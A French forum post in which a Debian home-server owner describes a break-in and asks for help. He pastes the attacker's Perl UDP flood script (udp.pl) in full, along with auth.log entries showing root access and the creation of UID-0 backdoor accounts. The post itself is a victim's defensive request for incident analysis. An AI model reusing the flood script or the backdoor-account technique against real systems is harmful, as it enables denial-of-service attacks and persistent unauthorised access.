Bonjour,
hier j’ai été piraté je ne sais pas comment ni ce qui a pu être fait sur la machine.
J’ai une machine qui tourne avec debian (3.2.0-4-amd64 #1 SMP Debian 3.2.63-2+deb7u2 x86_64 GNU/Linux).
Elle fait serveur de fichier avec samba, serveur multimédia avec xbmc, serveur de son avec mpd et héberge 2 machines virtuelles headless avec virtualBox fonctionnant aussi avec un debian recent.
Une de ces machines virtuelle fait serveur de mail et l’autre serveur web.
Aucune redirection de port n’existe vers le PC hôte mais des redirection vers les machines virtuelles.
J’ai eu des soucis de connexion hier me laissant penser que c’était mon modem qu’était mort et j’ai pensé que la lenteur des connexions vers le serveur était dues au problème de modem sans bien comprendre pourquoi (j’avais autre chose à faire à ce moment là).
Ce matin, n’arrivant pas à me connecter au serveur (en fait j’avais débranché un cable en trifouillant le modem) j’ai allumé le téléviseur et eu la surprise d’avoir le terminal ouvert avec un programme exécuté et root (voir plus loin udp.pl) et un message de debian comme quoi “/usr/bin/x-terminal-emulator disposait des privilèges root sans mot de passe et que ce n’était pas un problème de sécurité mais que c’était bien que je le sache”.
Voici le programme en question:
[code]#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf “$0 \n”;
printf “for any info vizit http://hacking.3xforum.ro/ \n”;
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf “Amu Floodez $ip pe portu $port \n”;
printf “daca nu pica in 10 min dai pe alt port \n”;
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;
{
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;
{
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}[/code]
udp.pl a été ramené dans /tmp, décompressé et exécuté avec la commande
J’ai regardé dans les journaux mais n’ai pas trouvé grand chose sauf dans /var/log/auth.log
Dec 21 17:32:05 cqgserv su[25386]: Successful su for root by cqg
Dec 21 17:32:05 cqgserv su[25386]: + /dev/pts/0 cqg:root
Dec 21 17:32:05 cqgserv su[25386]: pam_unix(su:session): session opened for user root by (uid=1000)
Dec 21 17:32:05 cqgserv dbus[2931]: [system] Rejected send message, 2 matched rules; type="method_call", sender=":1.48" (uid=1000 pid=4013 comm="/usr/bin/gnome-shell ") interface="org.freedesktop.DBus.Properties" member="GetAll" error name="(unset)" requested_reply="0" destination=":1.12" (uid=0 pid=3593 comm="/usr/sbin/console-kit-daemon --no-daemon ")
Dec 21 17:32:58 cqgserv useradd[25455]: new group: name=axel, GID=1001
Dec 21 17:32:58 cqgserv useradd[25455]: new user: name=axel, UID=0, GID=1001, home=/home/axel, shell=/bin/sh
Dec 21 17:33:27 cqgserv useradd[25463]: failed adding user 'axel', data deleted
Dec 21 17:35:01 cqgserv CRON[25478]: pam_unix(cron:session): session opened for user cqg by (uid=0)
Dec 21 17:35:01 cqgserv CRON[25478]: pam_unix(cron:session): session closed for user cqg
Dec 21 17:36:13 cqgserv useradd[25493]: new user: name=drog, UID=0, GID=0, home=/home/drog, shell=/bin/sh
Dec 21 17:37:06 cqgserv passwd[25498]: pam_unix(passwd:chauthtok): password changed for drog
Dec 21 17:37:06 cqgserv passwd[25498]: gkr-pam: couldn't update the login keyring password: no old password was entered
Dec 21 17:37:17 cqgserv su[25386]: pam_unix(su:session): session closed for user root
Dec 21 17:38:29 cqgserv su[25514]: Successful su for root by cqg
Dec 21 17:38:29 cqgserv su[25514]: + /dev/pts/0 cqg:root
Dec 21 17:38:29 cqgserv su[25514]: pam_unix(su:session): session opened for user root by (uid=1000)
Dec 21 17:38:29 cqgserv dbus[2931]: [system] Rejected send message, 2 matched rules; type="method_call", sender=":1.48" (uid=1000 pid=4013 comm="/usr/bin/gnome-shell ") interface="org.freedesktop.DBus.Properties" member="GetAll" error name="(unset)" requested_reply="0" destination=":1.12" (uid=0 pid=3593 comm="/usr/sbin/console-kit-daemon --no-daemon ")
Dec 21 17:38:40 cqgserv passwd[25574]: pam_unix(passwd:chauthtok): password changed for drog
Dec 21 17:38:40 cqgserv passwd[25574]: gkr-pam: couldn't update the login keyring password: no old password was entered
Dec 21 17:39:10 cqgserv passwd[25575]: pam_unix(passwd:chauthtok): password changed for drog
Dec 21 17:39:10 cqgserv passwd[25575]: gkr-pam: couldn't update the login keyring password: no old password was entered
Dec 21 17:40:01 cqgserv CRON[25579]: pam_unix(cron:session): session opened for user cqg by (uid=0)
Dec 21 17:40:01 cqgserv CRON[25579]: pam_unix(cron:session): session closed for user cqg
Dec 21 17:40:39 cqgserv passwd[25596]: pam_unix(passwd:chauthtok): password changed for root
Dec 21 17:40:39 cqgserv passwd[25596]: gkr-pam: couldn't update the login keyring password: no old password was entered
cqg est le nom d’utilisateur courant et il est vrai que le mot de passe pour cqg et pour root sont les mêmes et sont très faibles (3 lettres minuscules).
Qu’a donc pu faire le pirate avec ce fichier udp.pl?
Et comment a-t-il pu rentrer sur le PC?
Si vous êtes intéressé par donner un peu de votre temps pour répondre à mes questions et en savoir plus, je suis bien sûr prêt à vous donner les informations dont vous aurez besoin.
Merci pour votre aide.
EDIT
Derriere le modem il y a un routeur Netgear R7000, ce routeur peut-il avoir un soucis de sécurité?

